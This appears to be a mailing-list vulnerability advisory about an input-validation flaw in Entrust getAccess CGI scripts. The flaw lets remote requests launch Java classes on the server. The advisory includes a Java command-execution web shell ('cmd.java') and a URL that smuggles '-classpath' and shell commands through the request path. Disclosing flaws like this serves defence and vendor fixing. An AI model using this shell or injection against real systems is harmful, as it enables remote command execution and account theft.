Entrust - getAccess

["rudi carell" <rudicarell () hotmail com>]

hola friends,

getAccess[tm] is used as a single-sign-on system often used for large 
internet-portals.

--- snip (http://www.entrust.com) ---

Entrust GetAccess[tm] offers the most comprehensive solution for 
consistently deploying and enforcing
basic and enhanced security across online applications, from Web browsers, 
to enterprise applications and
legacy database systems.

--- snip ---

problem description:

due to missing input-validation it is possible to run(start) java-programs 
on the "getaccess"-machine.
combined with public accessibly uploads or any other possibility to create 
class-files on the server this vulnerability c
ould be used to run arbitrary system commands on the target machine( or 
change getAccess parameters and steal any user ac
count you want BTW).

it should also be possible(but not proven yet) to exploit default-,install- 
or demo classes within Java or getAccess whic
h would make the file-upload(creation) part unneeded!
(uninstall.class is very likely an effective DOS)


Example:

find exploitable getAccess-class(one which accepts params!) or upload a 
"command" programm:

--- cut here (example cmd.java) ---

import java.io.*;
public class cmd {
public static void main(String args[]) {
s = null;
try {
Process p = Runtime.getRuntime().exec(args[0]+" "+args[1]);
BufferedReader stdInput = new BufferedReader(new 
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new 
InputStreamReader(p.getErrorStream()));
System.out.println("Content-type: text/html\n\n");
while ((s = stdInput.readLine()) != null) { System.out.println(s); }
while ((s = stdError.readLine()) != null) { System.out.println(s); }
System.exit(0);
}
catch (IOException e) { e.printStackTrace(); System.exit(-1); }
} }

--- cut here ---


later then .. a http-request to :

http://hostname/sek-bin/login.gas.bat/x%20-classpath%20/whereever%20cmd%20/bin/ls%20-alsi

.. will run "/whereever/cmd.class" and execute "/bin/ls -alsi"


Summary:

object: *.gas.bat  (all the getAccess cgi-shell-scripts)
class: input validation
remote: yes

vendor: has been informed with a separate e-mail ( entrust () entrust com )


(and BTW. i would NEVER EVER recommand to use shell-scripts for 
authentication purposes!)


nice day,


rC

rudicarell () hotmail com
security () freefly com
http://www.freefly.com/security/








_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp